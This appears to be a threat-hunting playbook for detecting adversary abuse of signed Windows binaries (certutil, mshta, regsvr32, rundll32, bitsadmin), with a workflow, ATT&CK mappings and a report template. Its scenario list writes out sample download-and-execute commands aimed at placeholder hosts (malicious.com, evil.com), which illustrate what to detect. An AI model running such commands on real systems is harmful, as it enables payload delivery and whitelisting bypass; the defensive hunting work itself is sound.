1---2name: hunting-for-living-off-the-land-binaries3description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.4license: Apache-2.05---67# Hunting for Living-off-the-Land Binaries (LOLBins)89## When to Use1011- When investigating fileless malware campaigns that bypass traditional AV12- During proactive threat hunts targeting defense evasion techniques13- When EDR alerts fire on legitimate binaries executing unusual child processes14- After threat intelligence reports indicate LOLBin abuse in active campaigns15- During red team/purple team exercises validating detection coverage for T12181617## Prerequisites1819- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)20- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)21- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list22- PowerShell command-line logging enabled (Module Logging, Script Block Logging)23- Network proxy or firewall logs for correlating outbound connections2425## Workflow26271. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").282. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).293. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.304. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.315. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.326. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.337. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.3435## Key Concepts3637| Concept | Description |38|---------|-------------|39| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |40| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |41| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |42| T1218.001 | Compiled HTML File (mshta.exe) |43| T1218.002 | Control Panel (control.exe) |44| T1218.003 | CMSTP |45| T1218.005 | Mshta |46| T1218.010 | Regsvr32 |47| T1218.011 | Rundll32 |48| T1197 | BITS Jobs (bitsadmin.exe) |49| T1140 | Deobfuscate/Decode Files (certutil.exe) |50| Proxy Execution | Using trusted binaries to execute untrusted code |51| Fileless Attack | Attack that operates primarily in memory without dropping files |5253## Tools & Systems5455| Tool | Purpose |56|------|---------|57| CrowdStrike Falcon | EDR telemetry and process tree analysis |58| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |59| Splunk | SIEM log aggregation and SPL queries |60| Elastic Security | Detection rules and timeline investigation |61| Sysmon | Detailed process creation and network logging |62| LOLBAS Project | Reference database of LOLBin capabilities |63| Sigma Rules | Generic detection rule format for LOLBins |64| Velociraptor | Endpoint forensic collection and hunting |6566## Common Scenarios67681. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.692. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.703. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.714. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.725. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.7374## Output Format7576```77Hunt ID: TH-LOLBIN-[DATE]-[SEQ]78Hypothesis: [Stated hypothesis]79LOLBins Investigated: [List of binaries]80Time Range: [Start] - [End]81Data Sources: [EDR, Sysmon, SIEM]82Findings:83 - [Finding 1 with evidence]84 - [Finding 2 with evidence]85Anomalies Detected: [Count]86True Positives: [Count]87False Positives: [Count]88IOCs Identified: [List]89Detection Rules Created/Updated: [List]90Recommendations: [Next steps]91```